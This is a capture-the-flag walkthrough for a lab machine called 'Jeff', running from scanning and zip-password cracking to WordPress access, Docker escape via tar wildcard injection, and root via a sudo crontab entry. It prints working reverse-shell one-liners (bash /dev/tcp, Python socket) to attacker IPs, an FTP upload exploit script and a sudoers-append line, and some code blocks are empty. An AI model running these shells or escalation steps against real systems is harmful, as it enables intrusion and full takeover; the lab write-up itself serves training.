Nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
# Nmap 7.80 scan initiated Tue Jul 7 13:15:24 2020 as: nmap -sC -sV -oN nmap/initial 10.10.157.91 Nmap scan report for 10.10.157.91 Host is up (0.20s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 7e:43:5f:1e:58:a8:fc:c9:f7:fd:4b:40:0b:83:79:32 (RSA) | 256 5c:79:92:dd:e9:d1:46:50:70:f0:34:62:26:f0:69:39 (ECDSA) |_ 256 ce:d9:82:2b:69:5f:82:d0:f5:5c:9b:3e:be:76:88:c3 (ED25519) 80/tcp open http nginx |_http-title: Site doesn't have a title (text/html). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Jul 7 13:15:51 2020 -- 1 IP address (1 host up) scanned in 26.86 seconds |
We can see we only have port 22 and port 80 open.
Lets see whats on port 80.
We navigate to port 80 and only find a blank page. Viewing the source code we can see a little hint in there of us.
1
|
<!-- Did you forget to add jeff.thm to your hosts file??? --> |
We then add jeff.thm to our /etc/hosts file.
Lets now navigate to http://jeff.thm.
We can see we have a blog page for Jeff.
Lets run gobuster against the site to see if we have any interesting directories.
1
2
|
gobuster dir -u http://jeff.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt, html,php -t 100 |
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://jeff.thm/
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: txt,html,php
[+] Timeout: 10s
===============================================================
2020/07/07 12:32:25 Starting gobuster
===============================================================
/index.html (Status: 200)
/uploads (Status: 301)
/admin (Status: 301)
/assets (Status: 301)
/backups (Status: 301)
/source_codes (Status: 301)
===============================================================
2020/07/07 12:35:18 Finished
===============================================================
We then continued fuzzing for directories and file extensions and managed to find a backup.zip file within the backups directory.
1
|
gobuster dir -u http://jeff.thm/backups -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html,php,c,asm,zip -t 100 |
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://jeff.thm/backups
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: zip,txt,html,php,c,asm
[+] Timeout: 10s
===============================================================
2020/07/07 16:32:39 Starting gobuster
===============================================================
/backup.zip (Status: 200)
We proceeded to download the file to see what information we can get from it.
The file was password protected so we used fcrackzip to brute-force the password.
1
|
fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt backup.zip |
┌──(kali㉿puckie)-[~/thm/jeff/backup]
└─$ cat wpadmin.bak 1 ⨯
wordpress password is: phO#g)C5dhIWZn3BKP
Inside the zip file we found a “wpadmin.bak” file.
cat the file and we see we have a wordpress password.
Now lets find the wordpress site. We started scanning for any sub-domains.
1
|
wfuzz -c -f sub-fighter -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u "http://jeff.thm/" -H "Host: FUZZ.jeff.thm" -t 42 --hh 62 |
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz’s documentation for more information.
********************************************************
* Wfuzz 2.4.5 – The Web Fuzzer *
********************************************************
Target: http://jeff.thm/
Total requests: 19983
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000326: 200 346 L 1455 W 25901 Ch “wordpress”
Total time: 101.0978
Processed Requests: 19983
Filtered Requests: 19982
Requests/sec.: 197.6600
We can see we have a sub-domain called wordpress.
We add wordpress.jeff.thm to our /etc/hosts file and navigate to it.
We can see we have a standard WordPress site.
Lets try the credential we found in the backup.zip file.
The credentials worked.
We can now proceed in getting a reverse shell using the plugins in WordPress.
We navigate to the WordPress plugin editor and add our php reverse shell in the code.
1
2
|
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.14.0.41/1337 0>&1'"); ?> |
We then activate the plugin in the installed plugins menu to trigger our reverse shell.
We got a shell.
We can see there is no users in the /home directories. This might indicate that we are in a Docker container.
We test by running a simple script.
1
2
3
4
5
6
|
#!/bin/bash if [ -f /.dockerenv ]; then echo "I'm inside matrix ;("; else echo "I'm living in real world!"; fi |
We can see that we are in fact in a docker container.
We started looking for any files or information that we can use to escape the docker.
Inside /var/www/html we can see a interesting looking file called ftp_backup.php.
We cat the file and see it contains ftp credentials for the user backupmgr.
SuperS1ckP4ssw0rd123!
Looks like this could be an incomplete script.
Let’s try to connect to FTP server using curl
. Note: -P -
is the important part makes curl use the only available connection.
1 2 |
|
I googled around for “linux backup privilege escalation” and i found an article about TAR wildcard injection & it worked.
First lets generate a python one-liner reverse shell using msfvenom.
1 2 3 4 5 |
|
Let’s add into shell.sh:
1 2 |
|
Now we will use 2 commands that help tar to run shell.sh:
1 2 |
|
Now let’s upload them to FTP server using curl.
1 2 3 |
|
We’ve shell back.
1 2 3 4 5 6 7 |
|
we could do it also the Python way
After doing some troubleshooting we found that python3.7 is available to us.
We can now create a script to upload our files to the ftp server and try to get code execution.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
#!/usr/bin/env python3.7 from ftplib import FTP import os import fileinput import io host = "172.20.0.1" username = "backupmgr" password = "SuperS1ckP4ssw0rd123!" ftp = FTP(host=host) login_status = ftp.login(user=username, passwd=password) print(login_status) ftp.set_pasv(False) ftp.cwd('files') print(ftp.dir()) rev = io.BytesIO(b'python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.0.41",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'') emptyFile = io.BytesIO(b'') ftp.storlines('STOR rev.sh', rev) ftp.storlines('STOR --checkpoint=1', emptyFile) ftp.storlines('STOR --checkpoint-action=exec=sh rev.sh', emptyFile) ftp.dir() ftp.quit() |
Its worked and we got a shell.
We can see we are now the user backupmgr.
We would now need to elevate to jeff.
We start by looking for file belonging to jeff.
python3 -c 'import pty; pty.spawn("/bin/bash")'
1
|
find / -user jeff 2>/dev/null |
We can see a backup file for jeff called jeff.bak, together with a file called systool.
We check the permissions set for jeff.bak.
1
2
|
ls -al /var/backups/jeff.bak -rwxr-x--- 1 jeff pwman 43 May 11 15:14 jeff.bak |
We can see the file can only be viewed by the user jeff and any user belonging to the group pwman.
We then do the same for the file systools and see it has a SUID set.
1
2
|
ls -al /opt/systools/systool -rwxr-sr-x 1 jeff pwman 17160 May 24 13:18 /opt/systools/systool |
Lets try and see what systool does.
Running the file with ltrace we can see that option 2 will open and read the file called message.txt.
1
|
fopen("message.txt", "r") |
We might be able to use this to read whats inside jeff.bak.
We remove the file called message.txt from /opt/systools and proceed with creating a symbolic link to the file jeff.bak called message.txt.
1
|
ln -s /var/backups/jeff.bak message.txt |
We run systool again with option 2 and it worked. We now have jeff’s password. : 123-My-N4M3-1z-J3ff-123
We can now su to jeff.
Trying to change directory we can see we are in a restricted rbash shell.
We try and escape by running /bin/bash -p, but got the error that we are not aloud to run “/”.
We’re into rbash
to bypass that we’ll use SSH again with --no-profile
.
1 2 3 4 5 |
|
The flag seems to be hashed (HashMeLikeOneOfYourFrenchGirls
) with MD5:
jeff@tryharder:~$ echo -n "HashMeLikeOneOfYourFrenchGirls" | md5sum e12*****cac -
User flag: THM{e12*****cac}
Shell as root
We can now run sudo -l to view Jeff’s sudo rights.
We can see Jeff is able to run crontab with sudo.
We can now use crontab -e so insert our code to run within a given time.
1
|
sudo crontab -e |
We add the following line.
1
|
*/1 * * * * echo "jeff ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers |
It worked.
Now all left to do is sudo su, and we are root.
Since crontab it uses vim we could also just do :!/bin/bash
!
root@tryharder:/home/jeff# docker container ls CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES b262c6303ac4 new-site "docker-entrypoint.s…" 15 months ago Up 59 minutes 127.0.0.1:8080->80/tcp wordpress_wordpress_1 ff92e72d4133 mysql:5.7 "docker-entrypoint.s…" 15 months ago Up 59 minutes 3306/tcp, 33060/tcp wordpress_db_1 root@tryharder:/home/jeff#
or add to crontab to get a shell
* * * * * python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.50.72",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
.